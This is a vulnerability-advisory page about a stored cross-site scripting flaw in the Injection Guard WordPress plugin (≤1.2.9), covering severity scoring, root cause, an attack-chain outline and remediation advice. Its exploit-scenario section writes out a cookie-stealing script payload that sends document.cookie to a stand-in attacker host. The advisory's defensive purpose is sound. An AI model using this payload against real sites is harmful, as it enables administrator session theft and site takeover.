What is the CVSS score of EUVD-2026-13918?

EUVD-2026-13918 has a CVSS 3.1 base score of 7.2 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N. EPSS exploitation probability: 0.1%.

How to fix or mitigate EUVD-2026-13918?

Within 24 hours: Immediately disable the Injection Guard plugin on all WordPress instances and assess whether it is business-critical. Within 7 days: Review administrator access logs for suspicious activity and audit all administrator accounts for unauthorized changes. Within 30 days: Either replace the plugin with a patched alternative or maintain it in a disabled state until a security patch is released by the vendor.

Injection Guard EUVD-2026-13918

| CVE-2026-3368 HIGH

Cross-site Scripting (XSS) (CWE-79)

2026-03-20 Wordfence

PHP WordPress XSS Injection Guard Wordpress Plugin Fahadmahmood

7.2

CVSS 3.1 · NVD

View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

Access

Craft malicious query parameter with XSS payload
Delivery

Plugin captures unsanitized parameter name
Exploit

Stored in database without key sanitization
Execution

Admin views settings page
Impact

Payload executes in admin context

Vulnerability Assessment

Weakness	CWE CWE-79 OWASP Top 10:2025 A05:2025 - Injection ASVS 5.0 V1 - Encoding and Sanitization Output encoding, context-aware escaping MITRE ATT&CK 2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Exploitation Conditions	Requires Injection Guard plugin for WordPress versions up to 1.2.9 to be installed and activated. Remote unauthenticated attacker crafts malicious URL with XSS payload in query parameter names. Victim must visit the crafted URL; the plugin stores the unsanitized parameter key, and any admin viewing plugin settings (ig_settings.php) triggers stored XSS execution.
Impact	The CVSS score of 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) indicates a high-severity vulnerability with network-based attack vector, low complexity, and no authentication required. The 'Changed' scope (S:C) reflects that XSS executes in the administrator's context rather than the unauthenticated attacker's, enabling privilege escalation. However, the exploit requires an administrator to view the log page, introducing a user interaction requirement not fully reflected in the UI:N metric. The technical details provided in the references include specific line numbers in the source code (guard.php lines 8, 94, 105, 153 and ig_settings.php lines 120, 121, 124), suggesting proof-of-concept development is straightforward. Real-world risk is moderate-to-high for installations where administrators regularly review logs, but lower for sites where the plugin's log interface is rarely accessed. The vulnerability is automatable as attackers can send malicious requests without authentication, but exploitation completion depends on administrator behavior.
Exploit ScenarioDerived	An unauthenticated attacker crafts a malicious URL with JavaScript payload embedded in a query parameter name, such as https://target-site.com/?<script>document.location='https://attacker.com/steal?c='+document.cookie</script>=value. When the WordPress site running Injection Guard receives this request, the plugin logs the malicious parameter name without proper sanitization. Later, when a site administrator accesses the Injection Guard log page to review security events, the stored JavaScript executes in their browser context, potentially stealing session cookies, creating rogue admin accounts, or installing backdoors. Proof-of-concept exploitation is straightforward given the detailed source code references provided in the vulnerability disclosure.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).

No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 20, 2026

The Injection Guard plugin for WordPress versions up to 1.2.9 contains a stored cross-site scripting (XSS) vulnerability that allows unauthenticated attackers to inject malicious JavaScript into the admin log interface. The flaw stems from insufficient sanitization of query parameter names, which are logged and later rendered without proper output escaping when administrators view the plugin's log page. This enables arbitrary script execution in the context of an authenticated administrator's browser session, potentially leading to account compromise or further malicious actions.

RemediationAI

WordPress site administrators should immediately upgrade the Injection Guard plugin to a patched version beyond 1.2.9 if available, checking the official WordPress plugin repository or the vendor's release notes. Until a patch is applied, administrators should consider temporarily disabling the Injection Guard plugin or restricting access to its admin log interface to only trusted administrators via WordPress role capabilities. As a defense-in-depth measure, implement Content Security Policy (CSP) headers to mitigate XSS impact by restricting script execution to trusted sources. Review existing log entries in the Injection Guard interface for suspicious query parameter names containing HTML/JavaScript syntax before an administrator inadvertently triggers stored payloads. Additional technical details and source code references are available at https://plugins.trac.wordpress.org/browser/injection-guard/ for security teams conducting impact assessment.

Affected VersionsENISA

Injection Guard * ≤1.2.9

Affected Packages

euvd injection_guard no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the Injection Guard WordPress plugin (CPE: cpe:2.3:a:fahadmahmood:injection_guard:*:*:*:*:*:*:*:*) and is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation). The plugin captures incoming requests via $_SERVER['QUERY_STRING'], applies esc_url_raw() which preserves URL-encoded special characters, then uses parse_str() to decode the query string into an array. The sanitize_ig_data() function only sanitizes array values but ignores array keys, allowing attackers to craft malicious query parameter names containing HTML or JavaScript. These unsanitized keys are stored via update_option('ig_requests_log') and later echoed directly in ig_settings.php (lines 120, 121, 124) without esc_html() or esc_attr() output escaping, resulting in stored XSS when administrators view the log interface.

Know when Injection Guard gets its next vulnerability

Watch products and get an email when something new is published
Check this CVE against your own stack and servers
Exploit and PoC references, threat intelligence from 22 sources

Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.2 HIGH

AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Changed

Confidentiality

Low

Integrity

Low

Availability

None

DescriptionCVE.org

The Injection Guard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via malicious query parameter names in all versions up to and including 1.2.9. This is due to insufficient input sanitization in the sanitize_ig_data() function which only sanitizes array values but not array keys, combined with missing output escaping in the ig_settings.php template where stored parameter keys are echoed directly into HTML. When a request is made to the site, the plugin captures the query string via $_SERVER['QUERY_STRING'], applies esc_url_raw() (which preserves URL-encoded special characters like %22, %3E, %3C), then passes it to parse_str() which URL-decodes the string, resulting in decoded HTML/JavaScript in the array keys. These keys are stored via update_option('ig_requests_log') and later rendered without esc_html() or esc_attr() on the admin log page. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in the admin log page that execute whenever an administrator views the Injection Guard log interface.

Executive ViewAI

Why It Matters

A stored cross-site scripting vulnerability in the Injection Guard WordPress plugin (versions ≤1.2.9) allows unauthenticated attackers to inject malicious code that executes when administrators access the plugin's log interface. This could compromise administrator accounts and enable attackers to escalate privileges, modify site content, or steal sensitive data. Any organization using this plugin is at immediate risk.

Business Impact: High

Compensating Controls

Disable the Injection Guard plugin immediately. Implement Web Application Firewall (WAF) rules to block requests containing script injection patterns in query parameters. Restrict admin panel access to specific IP addresses or VPN. Enable enhanced logging and monitoring for administrator account activity. Consider network segmentation to limit lateral movement if admin credentials are compromised. Monitor vendor security advisories for patch availability.

Threat Intelligence Overview

EPSS Score

0.1%

Top 70% exploitable

Data Quality

5 sources

Confidence: Medium

EUVD

NVD

CVE.org

EPSS

Vulnrichment

VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity HIGH

CISA KEV No

Public POC No

EPSS 0.1%

Patch available No

Active threat No

Deciding rule

HIGH severity (CVSS 7.0-8.9)

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.